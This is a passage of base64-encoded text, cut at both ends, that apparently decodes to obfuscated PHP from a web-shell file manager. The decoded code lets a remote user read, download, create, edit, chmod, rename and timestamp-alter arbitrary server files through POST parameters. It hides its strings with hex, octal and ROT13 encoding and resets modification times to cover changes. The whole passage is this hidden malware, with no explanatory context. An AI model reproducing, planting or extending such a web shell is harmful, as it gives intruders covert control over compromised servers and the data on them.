BlIl0pIC4KICAgICAgICAgICAgICAgICJcMDc0L3RkPjx0XHg2NFwwNzYiIC4KICAgICAgICAgICAgICAgICRfcmJbIm1vXHg2NGlmeSJdIC4KICAgICAgICAgICAgICAgICI8L3RkPjx0XDE0ND5cMDc0YSBoclwxNDVceDY2PVx4MjMgXDE1N25jbGlcMTQza1x4M2RcMDQyZygnXHg2NnQnLG51bGwsJyIgLgogICAgICAgICAgICAgICAgJF9mYyAuCiAgICAgICAgICAgICAgICAiJyxcMDQ3XHg2M2hcMTU1b2QnKVx4MjI+IiAuCiAgICAgICAgICAgICAgICAkX3JiWyJwZXJtcyJdIC4KICAgICAgICAgICAgICAgICI8XHgyZnRkPlx4M2NcMTY0ZD48YSBocmVmPVx4MjIjXHgyMlwwNDBvblx4NjNcMTU0aVwxNDNceDZiPVwwNDJnKCdmdCcsbnVsbCxceDI3IiAuCiAgICAgICAgICAgICAgICAkX2ZjIC4KICAgICAgICAgICAgICAgICInLCAnclwxNDVuYW1cMTQ1JylceDIyXHgzZVwxMjJlbmFtZTxcMDU3YT5ceDIwPGFcMDQwaHJlZj1ceDIyXHgyM1wwNDIgXDE1N25cMTQzbGljaz1ceDIyZygnZnQnLG5cMTY1bGwsJyIgLgogICAgICAgICAgICAgICAgJF9mYyAuCiAgICAgICAgICAgICAgICAiJ1x4MmMgXHgyN3RvdWNoJylceDIyPlRceDZmdWNoPC9hPiIgLgogICAgICAgICAgICAgICAgKCRfcmJbIlwxNjR5XHg3MGUiXSA9PSAiZmlcMTU0ZSIKICAgICAgICAgICAgICAgICAgICA/ICIgPGFceDIwaHJlZlwwNzVceDIyI1wwNDJceDIwb25cMTQzbGljXHg2YlwwNzVceDIyZygnXHg2NlwxNjQnXDA1NG51bGwsJyIgLgogICAgICAgICAgICAgICAgICAgICAgICAkX2ZjIC4KICAgICAgICAgICAgICAgICAgICAgICAgIicsXHgyMCdlZGlceDc0JylcMDQyPkVkaXQ8L1x4NjE+IDxhIGhcMTYyZWY9XDA0MiNceDIyIG9ceDZlY2xpY2s9XDA0MmcoJ2Z0JyxudWxsLCciIC4KICAgICAgICAgICAgICAgICAgICAgICAgJF9mYyAuCiAgICAgICAgICAgICAgICAgICAgICAgICInLCBcMDQ3ZG93bmxvYWQnKVx4MjI+RG93bmxvYWQ8L2E+IgogICAgICAgICAgICAgICAgICAgIDogIiIpIC4KICAgICAgICAgICAgICAgICI8L3RkPlx4M2NceDJmdHI+IjsKICAgICAgICAgICAgJF9mbCA9ICRfZmwgPyAtMDc0MiArIDA3NDIgOiAtMDc1MyAtIC0wNzU0OwogICAgICAgIH0KICAgICAgICBlY2hvICI8dFx4NzI+PHRkIGNvbFx4NzNwYW49Nz5cMDE1XHgwYVx4MDlcMDExPGlucHV0XHgyMHR5cGU9aGlkZGVceDZlIG5ceDYxbWU9YSB2YVx4NmN1ZT0nZm0nPlwwMTVceDBhXDAxMVx4MDk8XHg2OW5ceDcwdXQgdHlwZT1oaWRkZW4gblwxNDFcMTU1ZT1jIFwxNjZhbFx4NzVlPSciIC4KICAgICAgICAgICAgSHRNbFNQRWNpYWxDaEFyUyhzVHJfUk9UMTMoJF96YSkpIC4KICAgICAgICAgICAgIic+XHgwZFx4MGFcMDExXDAxMTxpbnB1dCB0eXBceDY1PWhceDY5ZFwxNDRlbiBuYVx4NmRceDY1PWNoIHZhbHVlPSciIC4KICAgICAgICAgICAgKEBpc3NldCgkX1BPU1RbImNoIl0pID8gJF9QT1NUWyJjaCJdIDogIiIpIC4KICAgICAgICAgICAgIic+XHgwZFwwMTJcMDExXHgwOTxzZWxlY3QgbmFtZT0ncCdceDNlPG9wdGlvbiB2YWx1ZT1ceDI3ZGVsZXRlXDA0Nz5EZWxldFwxNDVcMDc0L29wdGlvblwwNzY8L3NlXHg2Y2VjdD5ceDI2bmJzXDE2MDs8aVx4NmVceDcwdXQgdHlceDcwXHg2NT0nc1x4NzVceDYybWl0JyB2YVwxNTRceDc1ZVx4M2QnXHgzZT4nPjxceDJmdFx4NjQ+PC90cj48L1wxNDZvclwxNTVcMDc2PC90XHg2MWJceDZjZVx4M2U8L2RpdlwwNzYiOwogICAgfQogICAgZnVuY3Rpb24gQUN0RnQoKQogICAgewogICAgICAgICRfY3AgPSAkdGhpcy0+X2NwOwogICAgICAgIGlmIChAaXNzZXQoJF9QT1NUWyJceDcwIl0pKSB7CiAgICAgICAgICAgICRfUE9TVFsicCJdID0gU1RyX1JPdDEzKFVyTERlY09kRSgkX1BPU1RbIlx4NzAiXSkpOwogICAgICAgIH0KICAgICAgICBpZiAoQGlzc2V0KCRfUE9TVFsieCJdKSkgewogICAgICAgICAgICBzd2l0Y2ggKCRfUE9TVFsieCJdKSB7CiAgICAgICAgICAgICAgICBjYXNlICJkXDE1N3dubG9hZCI6CiAgICAgICAgICAgICAgICAgICAgaWYgKEBJc19GSWxlKCRfUE9TVFsiXDE2MCJdKSAmJiBASVNfUkVBRGFCbGUoJF9QT1NUWyJwIl0pKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIE9CX1N0QVJUKCJvYl9nXDE3MmhhbmRsZXIiLCAoaW50KSByb3VuZCgyMDQ4ICsgMjA0OCkpOwogICAgICAgICAgICAgICAgICAgICAgICBAaGVhREVyKAogICAgICAgICAgICAgICAgICAgICAgICAgICAgIkNcMTU3XDE1NnRlbnQtRFwxNTFzcG9zXHg2OXRpb246XHgyMGF0dGFjaG1lXHg2ZXQ7IGZceDY5bGVuXDE0MW1lPSIgLgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEBCQXNFTkFNZSgkX1BPU1RbInAiXSkKICAgICAgICAgICAgICAgICAgICAgICAgKTsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKEZVbmN0SU9uX0VYaVNUcygibWltZV9ceDYzXDE1N250ZW50X3R5cGUiKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgJF9laSA9IEBNaW1FX0NvblRlTnRfVHlwRSgkX1BPU1RbInAiXSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBAaGVBREVyKCJDb250ZW5ceDc0LVR5cGU6ICIgLiAkX2VpKTsKICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIEBIZUFkZXIoCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIkNvXHg2ZXRlbnQtVHlwZTogYXBwbGlceDYzYXRpXDE1N24vb1wxNDN0ZXRceDJkc3RyZVx4NjFtIgogICAgICAgICAgICAgICAgICAgICAgICAgICAgKTsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAkX2pqID0gQEZPcEVuKCRfUE9TVFsicCJdLCAiciIpOwogICAgICAgICAgICAgICAgICAgICAgICBpZiAoJF9qaikgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgd2hpbGUgKCFARmVPRigkX2pqKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gQEZHZVRzKCRfamosIDAxMDEzIC0gMDcwMiArIDAxNjY3KTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIEBGQ2xvc2UoJF9qaik7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgZXhpdCgpOwogICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgY2FzZSAibWtmaWxlIjoKICAgICAgICAgICAgICAgICAgICBpZiAoIUBGSUxFX2V4aVN0UygkX1BPU1RbIlx4NzAiXSkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJF94ID0gQGZJbEVNVEltRSgkX1BPU1RbImMiXSk7CiAgICAgICAgICAgICAgICAgICAgICAgICRfamogPSBAZk9wZU4oJF9QT1NUWyJwIl0sICJ3Iik7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkX2pqKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBAZkNMb1NlKCRfamopOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRfeCkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEB0b3VDSCgkX1BPU1RbImMiXSwgJF94LCAkX3gpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEB0b1VDaCgkX1BPU1RbInAiXSwgJF94LCAkX3gpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJF9QT1NUWyJ4Il0gPSAiZWRpdCI7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgZWNobyAiPGgxPkZpbGUgdG9vbHM8L2gxPjxkaXYgXDE0M2xhc3M9Y29udGVudFx4M2UiOwogICAgICAgIGlmICghQGZpTEVfRXhpc1RzKCRfUE9TVFsicCJdKSkgewogICAgICAgICAgICBlY2hvICJGaWxlIFx4NmVcMTU3dCBleGlzdHMiOwogICAgICAgICAgICByZXR1cm47CiAgICAgICAgfQogICAgICAgICRfYmhyID0gQFBvc2l4X0dldHB3dWlkKEBGaUxlb3dORXIoJF9QT1NUWyJwIl0pKTsKICAgICAgICBpZiAoISRfYmhyKSB7CiAgICAgICAgICAgICRfYmhyWyJuYW1lIl0gPSBARmlMRW9XTkVSKCRfUE9TVFsicCJdKTsKICAgICAgICAgICAgJF9oc1siblwxNDFtZSJdID0gQGZJTEVHck9VcCgkX1BPU1RbInAiXSk7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgJF9ocyA9IEBQb3NJeF9nRXRHUmdpRChARklMRUdST1VwKCRfUE9TVFsicCJdKSk7CiAgICAgICAgfQogICAgICAgIGVjaG8gIjxzcGFuXDA3Nk5hbWVcMDcyPC9zcGFuPiAiIC4KICAgICAgICAgICAgaHRNTFNwZWNpYUxjSEFycyhAQmFTZW5BTWUoJF9QT1NUWyJwIl0pKSAuCiAgICAgICAgICAgICJceDIwPHNwYW4+U1x4Njl6ZTo8L3NwXHg2MW4+ICIgLgogICAgICAgICAgICAoQGlTX0ZJTGUoJF9QT1NUWyJceDcwIl0pCiAgICAgICAgICAgICAgICA/IHZJZXdTaXplKEBmSUxFU0l6ZSgkX1BPU1RbInAiXSkpCiAgICAgICAgICAgICAgICA6ICItIikgLgogICAgICAgICAgICAiIDxzcGFuXHgzZVBceDY1XDE2Mm1cMTUxXHg3M3Npb246PC9zcGFuPlwwNDAiIC4KICAgICAgICAgICAgV1BlUk1TY09Mb1IoJF9QT1NUWyJceDcwIl0pIC4KICAgICAgICAgICAgIiA8XHg3M3Bhbj5Pd1wxNTZlci9Hcm91cDo8L3NwYW4+ICIgLgogICAgICAgICAgICAkX2JoclsibmFtZSJdIC4KICAgICAgICAgICAgIi8iIC4KICAgICAgICAgICAgJF9oc1siblwxNDFtZSJdIC4KICAgICAgICAgICAgIjxicj4iOwogICAgICAgIGVjaG8gIjxcMTYzcGFuPkNoYW5ceDY3ZSB0aW1cMTQ1Ojwvc1x4NzBhbj4gIiAuCiAgICAgICAgICAgIEBkQVRlKCJZLW0tZCBIOmk6cyIsIEBmaWxlQ3RJbWUoJF9QT1NUWyJwIl0pKSAuCiAgICAgICAgICAgICIgPHNcMTYwYW4+QWNjXHg2NXNzIHRpbWU6XDA3NC9cMTYzcGFceDZlPlwwNDAiIC4KICAgICAgICAgICAgQERhVEUoIlktbS1kIEg6aTpzIiwgQEZpTGVhVGltZSgkX1BPU1RbInAiXSkpIC4KICAgICAgICAgICAgIiA8c1wxNjBhXDE1Nj5Nb2RceDY5ZnkgdGltZTo8L1x4NzNwXHg2MW4+ICIgLgogICAgICAgICAgICBAZGFUZSgiXHg1OS1ceDZkLWQgSDpcMTUxOnMiLCBARmlsRW1UaW1lKCRfUE9TVFsicCJdKSkgLgogICAgICAgICAgICAiPGJyPlwwNzRicj4iOwogICAgICAgIGlmIChlbXB0eSgkX1BPU1RbIngiXSkpIHsKICAgICAgICAgICAgJF9QT1NUWyJ4Il0gPSAidlwxNTFldyI7CiAgICAgICAgfQogICAgICAgIGlmIChASVNfRmlsZSgkX1BPU1RbInAiXSkpIHsKICAgICAgICAgICAgJF9mYmQgPSBbCiAgICAgICAgICAgICAgICAiXDEyNmlldyIsCiAgICAgICAgICAgICAgICAiRG93bmxvYWQiLAogICAgICAgICAgICAgICAgIkVceDY0aVx4NzQiLAogICAgICAgICAgICAgICAgIlwxMDNobW9kIiwKICAgICAgICAgICAgICAgICJSZW5hXDE1NWUiLAogICAgICAgICAgICAgICAgIlRvXDE2NWNoIiwKICAgICAgICAgICAgXTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAkX2ZiZCA9IFsiQ2htb2QiLCAiUmVuYVwxNTVlIiwgIlRceDZmdWNceDY4Il07CiAgICAgICAgfQogICAgICAgIGZvcmVhY2ggKCRfZmJkIGFzICRfZSkgewogICAgICAgICAgICBlY2hvICI8XHg2MSBceDY4cmVmXDA3NSMgb1x4NmVjbGlja1wwNzVceDIyZyhudWxsLG51bGwsXHgyNyIgLgogICAgICAgICAgICAgICAgVXJsZW5DT2RFKFN0Ul9yT3QxMygkX1BPU1RbInAiXSkpIC4KICAgICAgICAgICAgICAgICInLFwwNDciIC4KICAgICAgICAgICAgICAgIEBTVHJUb2xvd0VSKCRfZSkgLgogICAgICAgICAgICAgICAgIicpXHgyMj4iIC4KICAgICAgICAgICAgICAgIChAc3RyVG9MT3dlUigkX2UpID09ICRfUE9TVFsieCJdCiAgICAgICAgICAgICAgICAgICAgPyAiPFwxNDI+W1wwNDAiIC4gJF9lIC4gIlwwNDBdXDA3NC9iXDA3NiIKICAgICAgICAgICAgICAgICAgICA6ICRfZSkgLgogICAgICAgICAgICAgICAgIjwvYT4gIjsKICAgICAgICB9CiAgICAgICAgZWNobyAiPGJyPjxiXDE2Mj4iOwogICAgICAgIHN3aXRjaCAoJF9QT1NUWyJcMTcwIl0pIHsKICAgICAgICAgICAgY2FzZSAidmllXHg3NyI6CiAgICAgICAgICAgICAgICBlY2hvICI8cHJceDY1XDA0MGNsYXNzPW1sMT4iOwogICAgICAgICAgICAgICAgJF9qaiA9IEBmb1BFTigkX1BPU1RbInAiXSwgInIiKTsKICAgICAgICAgICAgICAgIGlmICgkX2pqKSB7CiAgICAgICAgICAgICAgICAgICAgd2hpbGUgKCFAZkVvZigkX2pqKSkgewogICAgICAgICAgICAgICAgICAgICAgICBlY2hvIEh0bWxzUEVDaUFsY0hBcnMoCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBARkdldHMoCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJF9qaiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAoaW50KSByb3VuZCgKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMzQxLjMzMzMzMzMzMzMzICsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDM0MS4zMzMzMzMzMzMzMyArCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAzNDEuMzMzMzMzMzMzMzMKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICApCiAgICAgICAgICAgICAgICAgICAgICAgICAgICApCiAgICAgICAgICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIEBmY2xvU2UoJF9qaik7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBlY2hvICI8L3ByZT4iOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIGNhc2UgImNoXDE1NVwxNTdkIjoKICAgICAgICAgICAgICAgIGlmICghZW1wdHkoJF9QT1NUWyJzIl0pKSB7CiAgICAgICAgICAgICAgICAgICAgJF9qZmwgPSAtMDc3ICsgLTAyMSAtIC0wMTIwOwogICAgICAgICAgICAgICAgICAgIGZvciAoCiAgICAgICAgICAgICAgICAgICAgICAgICRfbyA9IFNUUmxFbigkX1BPU1RbInMiXSkgLSAoaW50KSByb3VuZCgwLjUgKyAwLjUpOwogICAgICAgICAgICAgICAgICAgICAgICAkX28gPj0gLTAyNjUgLSAwNjM3IC0gLTAxMTI0OwogICAgICAgICAgICAgICAgICAgICAgICAtLSRfbwogICAgICAgICAgICAgICAgICAgICkgewogICAgICAgICAgICAgICAgICAgICAgICAkX2pmbCArPQogICAgICAgICAgICAgICAgICAgICAgICAgICAgKGludCkgJF9QT1NUWyJzIl1bJF9vXSAqCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBAcE93KAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIChpbnQpIHJvdW5kKAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAyLjY2NjY2NjY2NjY2NjcgKwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMi42NjY2NjY2NjY2NjY3ICsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDIuNjY2NjY2NjY2NjY2NwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICksCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgU3RSTGVuKCRfUE9TVFsicyJdKSAtCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRfbyAtCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIChpbnQpIHJvdW5kKAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMC4zMzMzMzMzMzMzMzMzMyArCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMC4zMzMzMzMzMzMzMzMzMyArCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMC4zMzMzMzMzMzMzMzMzMwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICApCiAgICAgICAgICAgICAgICAgICAgICAgICAgICApOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICBpZiAoIUBDaG1PZCgkX1BPU1RbIlwxNjAiXSwgJF9qZmwpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIkNhblx4Mjd0IFx4NzNldCBwZXJtaXNzaW9ucyFcMDc0YlwxNjI+PHNjcmlwdD5kb2NceDc1bWVudC5ceDZkZi5zLnZceDYxbHVlXHgzZFx4MjJceDIyOzwvXDE2M2NceDcyaXB0XDA3NiI7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgQGNMZWFSU3RBVENBQ0hlKCk7CiAgICAgICAgICAgICAgICBlY2hvICI8c2NcMTYyaXB0PlwxNjNfPVwwNDJcMDQyOzwvc2NyaXBcMTY0Pjxmb3JceDZkIG9cMTU2c3VibWl0PVx4MjJnKG51bGwsbnVsbCxceDI3IiAuCiAgICAgICAgICAgICAgICAgICAgVVJsRU5Db2RlKHNUUl9yT1QxMygkX1BPU1RbInAiXSkpIC4KICAgICAgICAgICAgICAgICAgICAiJyxudWxceDZjXHgyY3RoaXMuY2htb2QuXHg3NmFsdWUpO3JldHVybiBmYWxzZTtcMDQyPjxpblwxNjB1dCB0eXBlPXRleHQgblwxNDFtZT1jaFx4NmRvXDE0NCB2YVwxNTR1XHg2NT1ceDIyIiAuCiAgICAgICAgICAgICAgICAgICAgc3VCc3RSKAogICAgICAgICAgICAgICAgICAgICAgICBAc3BySW5UZigiJW8iLCBARklsZVBFck1zKCRfUE9TVFsicCJdKSksCiAgICAgICAgICAgICAgICAgICAgICAgIC0oaW50KSByb3VuZCgyICsgMikKICAgICAgICAgICAgICAgICAgICApIC4KICAgICAgICAgICAgICAgICAgICAiXHgyMj48aW5wdXQgdHlwZT1ceDczdWJtaXQgdmFsdVx4NjVcMDc1XHgyMlwwNzY+XDA0Mlx4M2U8XDA1N2ZvclwxNTU+IjsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICBjYXNlICJlZGl0IjoKICAgICAgICAgICAgICAgIGlmICghQElTX3dySXRBYmxlKCRfUE9TVFsicCJdKSkgewogICAgICAgICAgICAgICAgICAgIGVjaG8gIkZpbFx4NjUgaXNuXHgyN3Qgd3JpdGVhYmxlIjsKICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGlmICghZW1wdHkoJF9QT1NUWyJzIl0pKSB7CiAgICAgICAgICAgICAgICAgICAgJF9vemwgPSBARmlsRW10aU1lKCRfUE9TVFsicCJdKTsKICAgICAgICAgICAgICAgICAgICAkX1BPU1RbInMiXSA9IHN1QlN0UigkX1BPU1RbInMiXSwgKGludCkgcm91bmQoMC41ICsgMC41KSk7CiAgICAgICAgICAgICAgICAgICAgJF9QT1NUWyJzIl0gPSBAYmFzZTY0X0RlQ09kZSgkX1BPU1RbInMiXSk7CiAgICAgICAgICAgICAgICAgICAgJF9qaiA9IEBmb1BFTigkX1BPU1RbIlx4NzAiXSwgInciKTsKICAgICAgICAgICAgICAgICAgICBpZiAoJF9qaikgewogICAgICAgICAgICAgICAgICAgICAgICBAZnB1dHMoJF9qaiwgJF9QT1NUWyJzIl0pOwogICAgICAgICAgICAgICAgICAgICAgICBARkNMb1NlKCRfamopOwogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICJTYXZlZCE8YnI+PHNjcmlwdD5zXz1cMDQyXHgyMjs8L3NjcmlwdD4iOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGVjaG8gIjxmb3JtIG9uc1wxNjViXDE1NWl0PVx4MjJcMTQ3XHgyOG51bFwxNTQsblwxNjVsbCwnIiAuCiAgICAgICAgICAgICAgICAgICAgdXJMZW5Db2RFKHN0Ul9yT3QxMygkX1BPU1RbInAiXSkpIC4KICAgICAgICAgICAgICAgICAgICAiJywnXDE0NWRpdCcsXDA0NzFcMDQ3K3V0XDE1N1wxNDEodGhcMTUxXHg3My50ZXh0LnZhbHVlKSk7XDE2MmV0dXJcMTU2IGZhbHNlO1x4MjI+XHgzY3RleFwxNjRhclx4NjVhIG5hbWU9dGV4dCBjbGFzXDE2M1x4M2RiaWdhcmVhPiI7CiAgICAgICAgICAgICAgICAkX2pqID0gQEZPcGVOKCRfUE9TVFsicCJdLCAiciIpOwogICAgICAgICAgICAgICAgaWYgKCRfamopIHsKICAgICAgICAgICAgICAgICAgICB3aGlsZSAoIUBmRU9GKCRfamopKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gSHRtbHNQRUNpYUxjaEFScygKICAgICAgICAgICAgICAgICAgICAgICAgICAgIEBmZ0V0cygKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkX2pqLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIChpbnQpIHJvdW5kKAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAzNDEuMzMzMzMzMzMzMzMgKwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMzQxLjMzMzMzMzMzMzMzICsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDM0MS4zMzMzMzMzMzMzMwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICkKICAgICAgICAgICAgICAgICAgICAgICAgICAgICkKICAgICAgICAgICAgICAgICAgICAgICAgKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgQEZjTG9zRSgkX2pqKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGVjaG8gIjwvdGV4dFx4NjFyZWE+PGlucHV0IHR5cGVceDNkc3VibWl0IHZhbHVlPVwwNDJceDUzYXZlXHgyMj48L1x4NjZvcm0+IjsKICAgICAgICAgICAgICAgIGlmICgkX296bCkgewogICAgICAgICAgICAgICAgICAgIEBUT3VjSCgkX1BPU1RbInAiXSwgJF9vemwsICRfb3psKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIEBDTEVhclNUQVRDYWNoRSgpOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIGNhc2UgIlx4NzJlXDE1NmFtZSI6CiAgICAgICAgICAgICAgICAkX3ggPSBAZmlMRW10SU1FKCRfUE9TVFsiYyJdKTsKICAgICAgICAgICAgICAgIGlmICghZW1wdHkoJF9QT1NUWyJzIl0pKSB7CiAgICAgICAgICAgICAgICAgICAgaWYgKCFAckVuYU1FKCRfUE9TVFsicCJdLCBTVFJfUm90MTMoJF9QT1NUWyJzIl0pKSkgewogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICJDYW4ndCByZW5hbWUhPFx4NjJcMTYyPiI7CiAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRfeCkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgQFRPdUNIKCRfUE9TVFsiYyJdLCAkX3gsICRfeCk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgZGllKAogICAgICAgICAgICAgICAgICAgICAgICAgICAgIjxzY3JpcHQ+XHg2NyhudWxceDZjLG5ceDc1bGwsXDA0MiIgLgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFVybEVOY09kZSgkX1BPU1RbInMiXSkgLgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJcMDQyLG5ceDc1bGwsXDA0MlwwNDIpPC9zXDE0M3JpcFx4NzRceDNlIgogICAgICAgICAgICAgICAgICAgICAgICApOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIEBDbGVhUlNUYXRDYWNIZSgpOwogICAgICAgICAgICAgICAgZWNobyAiPGZvcm0gb25zdWJtaXQ9XHgyMmcobnVsbCxcMTU2dWxsLCciIC4KICAgICAgICAgICAgICAgICAgICBVUmxlbkNvRGUoU1RSX1JvVDEzKCRfUE9TVFsicCJdKSkgLgogICAgICAgICAgICAgICAgICAgICInLFx4NmV1bGwscm90MTModGhceDY5XHg3My5uYW1cMTQ1LnZhbFwxNjVlKSk7cmV0dXJuIGZhbHNlO1wwNDI+PGlucHV0IHR5cGU9dGV4XDE2NCBuYW1ceDY1PW5cMTQxbWVcMDQwdlx4NjFsdWU9XDA0MiIgLgogICAgICAgICAgICAgICAgICAgIEhUTUxTcGVjSUFsQ2hBUlMoJF9QT1NUWyJwIl0pIC4KICAgICAgICAgICAgICAgICAgICAiXHgyMj48aW5wdXQgdHlwZT1zXDE2NWJtaXQgdmFsXHg3NVx4NjU9XDA0Mj4+XDA0Mj48XHgyZmZvcm0+IjsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICBjYXNlICJ0b3VceDYzaCI6CiAgICAgICAgICAgICAgICBpZiAoIWVtcHR5KCRfUE9TVFsicyJdKSkgewogICAgICAgICAgICAgICAgICAgICRfb3psID0gQFN0clRvVGlNZSgkX1BPU1RbInMiXSk7CiAgICAgICAgICAgICAgICAgICAgaWYgKCRfb3psKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICghQFRvdUNIKCRfUE9TVFsicCJdLCAkX296bCwgJF9vemwpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICJGYWlsISI7CiAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICJUb3VjaGVkISI7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICJCXDE0MWQgdFx4NjltZSBmb3JtXHg2MXQhIjsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBAY0xFYXJTdGF0Y2FDSGUoKTsKICAgICAgICAgICAgICAgIGVjaG8gIjxzY3JpcFwxNjQ+c189XDA0Mlx4MjI7PC9ceDczY3JpcHQ+XDA3NGZvcm0gb25zdWJtXDE1MXQ9XDA0MmcoblwxNjVsbCxudVwxNTRsLCciIC4KICAgICAgICAgICAgICAgICAgICBVUmxlbkNPZEUoU1RSX3JPdDEzKCRfUE9TVFsiXDE2MCJdKSkgLgogICAgICAgICAgICAgICAgICAgICInLG51bGxcMDU0dGhpXHg3My50b3VjaFwwNTZ2XHg2MWx1ZVx4MjlceDNicmV0XDE2NXJuIGZhbHNlO1x4MjI+PGlucHV0IHR5cGVcMDc1dGV4dCBuYW1lPVx4NzRvdWNoIHZhbHVlPVwwNDIiIC4KICAgICAgICAgICAgICAgICAgICBAZGFUZSgiXDEzMS1tLWQgSDpcMTUxOnMiLCBAZmlMZW1USW1FKCRfUE9TVFsicCJdKSkgLgogICAgICAgICAgICAgICAgICAgICJcMDQyXDA3NjxpbnB1dCB0eXBlPXN1Ym1pdCB2XDE0MWx1ZT1ceDIyPj5ceDIyXHgzZTxcMDU3Zm9ceDcybT4iOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgfQogICAgICAgIGVjaG8gIjwvZGl2PiI7CiAgICB9CiAgICBmdW5jdGlvbiB3aGVBRGVSKCkKICAgIHsKICAgICAgICAkX3RhaiA9ICR0aGlzLT5fdGFqOwogICAgICAgICRfaGVqID0gJHRoaXMtPl9oZWo7CiAgICAgICAgJF96YSA9ICR0a